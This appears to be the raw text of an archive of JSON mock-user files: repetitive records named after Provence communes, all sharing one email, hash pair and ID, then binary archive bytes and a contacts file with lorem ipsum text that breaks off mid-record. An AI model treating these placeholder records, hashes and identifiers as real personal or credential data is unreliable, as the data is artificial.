      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Remoulins"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
  
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Sarrians"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "L'Isle-sur-la-Sorgue"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Saint-Étienne-du-Grès"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Tarascon"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Jonquières"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Pernes-les-Fontaines"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Laudun"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Beaucaire"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Orange"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Meynes"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Castillon-du-Gard"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Sernhac"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Loriol-du-Comtat"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Carpentras"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Cavaillon"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Connaux"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Orsan"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Lédenon"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": " Aubignan"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Eygalières"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Jonquières-Saint-Vincent"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },  
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Vacqueyras"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Saint-Didier"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Camaret-sur-Aigues"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Maussane"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
   },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Lagnes"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
    
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Orgon"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  }
    
]PK!w��
��data/contacts_1.jsonnu&1i�[
  {
    "date": "05.10.2016 16:00",
    "id": 1,
    "first_name": "Julie Hart",
    "last_name": "",
    "email": "jhart0@walmart.com",
    "gender": "Female",
    "avatar": "https://s3.amazonaws.com/uifaces/faces/twitter/adellecharles/128.jpg",

    "adress": null,
    "user_name": "jhart0",
    "paragraph": "Duis consequat  dui nec nisi volutpat eleifend. :heart: Donec ut dolor. Morbi vel lectus in quam fringilla https://www.instagram.com/p/BLBkkpOgQcY/?taken-by=instagram  rhoncus.\n\nMauris enim leo, rhoncus sed, vestibulum sit amet, cursus id, turpis. Integer aliquet, massa id lobortis convallis, tortor risus dapibus augue, vel accumsan tellus nisi eu orci. Mauris lacinia sapien quis libero.",
    "job": "Budget/Accounting Analyst IV",
    "company": "Fadeo"
  },
  {
    "date": "05.10.2016 12:35",
    "id": 2,
    "first_name": "Willie Patterson",
    "last_name": "",
    "email": "wpatterson1@cnet.com",
    "gender": "Male",
    "avatar": "https://s3.amazonaws.com/uifaces/faces/twitter/mlane/128.jpg",

    "adress": null,
    "user_name": "wpatterson1",
    "paragraph": "Aenean lectus. Pellentesque eget nunc. Donec quis orci eget orci vehicula condimentum.\n\nCurabitur in libero ut massa volutpat convallis. Morbi odio odio, elementum eu, interdum eu, tincidunt in, leo. Maecenas pulvinar lobortis est.\n\nPhasellus sit amet erat. https://twitter.com/MaterialUp/status/780775007190474752  Nulla tempus. Vivamus in felis eu sapien cursus vestibulum.",
    "job": "Assistant Media Planner",
    "company": "Ntags"
  },
  {
    "date": "10.04.2015",
    "id": 3,
    "first_name": "Jason Wheeler",
    "last_name": "",
    "email": "jwheeler2@newsvine.com",
    "gender": "Male",
    "avatar": "https://s3.amazonaws.com/uifaces/faces/twitter/nick_persad/128.jpg",

    "adress": null,
    "user_name": "jwheeler2",
    "paragraph": "Proin eu mi. Nulla ac enim. In tempor, turpis nec euismod scelerisque, quam turpis adipiscing lorem, http://telatkaya.com/mabiala/data/video/golkeper.mp4 vitae mattis nibh ligula nec sem.\n\nDuis aliquam convallis nunc. Proin at turpis a pede posuere nonummy. Integer non velit.",
    "job": "Research Associate",
    "company": "Skimia"
  },
  {
    "date": "08.09.2015",
    "id": 4,
    "first_name": "Sharon Mccoy",
    "last_name": "",
    "email": "smccoy3@kickstarter.com",
    "gender": "Female",
    "avatar": "https://s3.amazonaws.com/uifaces/faces/twitter/allisongrayce/128.jpg",

    "adress": null,
    "user_name": "smccoy3",
